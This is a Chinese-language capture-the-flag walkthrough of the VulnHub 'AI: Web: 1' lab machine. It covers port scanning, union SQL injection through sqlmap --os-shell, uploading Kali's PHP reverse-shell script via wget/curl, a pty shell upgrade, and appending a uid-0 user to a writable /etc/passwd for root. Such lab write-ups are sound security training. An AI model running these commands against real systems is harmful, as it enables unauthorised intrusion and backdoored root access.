靶场下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
下载完成后直接在VMware中打开即可。
注意:kali和靶机的网络连接都设置为NAT模式
首先通过arp-scan -l 得到靶机的ip地址
arp-scan -l
然后利用nmap进行端口扫描
nmap -sV -sT -p- 192.168.243.130
发现开启80端口,打开网页,没有有用的信息。
然后查看robots.txt得到两个目录
依次打开发现都是403,然后尝试se3reTdir777/目录得到一个查询页面
测试了一下存在union sql注入,没有过滤,然后可以拿到三个用户名和密码,也不知道用又没用先留着吧。还可以利用os-shell,但是需要网站的绝对路径。
又没啥信息了,那就扫描一下目录吧。
扫到一个/m3diNf0/info.php 进去发现是phpinfo,然后可以翻到网站的绝对路径。
现在可以试试用os-shell力。
sqlmap -u http://192.168.243.130/se3reTdir777/ --forms --os-shell
红框处填写网站绝对路径,但是失败了,可能这个路径没有写权限,我们换个路径试试,/se3reTdir777/uploads
成功了,然后当前目录下会出现三个php文件,第一个可以进行rce,第二个可以进行文件上传,第三个我也不知道。。。之前os-shell只会生成前两个文件。
但是这样使用肯定没有shell舒服,所以反弹个shell,这里我用我之前一些简单的反弹shell方法都没有成功,最终使用的是kali自带的一个php反弹shell脚本 /usr/share/webshells/php/php-reverse-shell.php 实现了。记得将脚本中的ip和port改成自己的。
至于怎么将该脚本上传到靶机,可以使用wget,curl或者直接文件上传都可以。然后运行该php文件即可成功反弹shell。
然后可以使用用python开启一个交互式shell,方便后续操作,看起来也更加舒服
python -c 'import pty;pty.spawn("/bin/bash")'
根据描述可知flag在/root里,所以显然我们要提权到root才能读取。接下来就是提权。这里有一个脚本可以自动检测linux系统的一些漏洞,LinEnum.sh
下载地址:https://github.com/rebootuser/LinEnum
将项目中的LinEnum.sh文件搞到靶机里就行,然后运行
发现竟然有写/etc/passwd文件的权限,那我们就可以创建一个有root权限的用户了。
首先,使用perl语言生成带有盐值的密码:
perl -le 'print crypt("zzz","addedsalt")'
echo "zzz:adC79c4Tvvswo:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
成功写入,然后就可以通过su zzz登录我们创建的用户然后读取flag即可!
overover!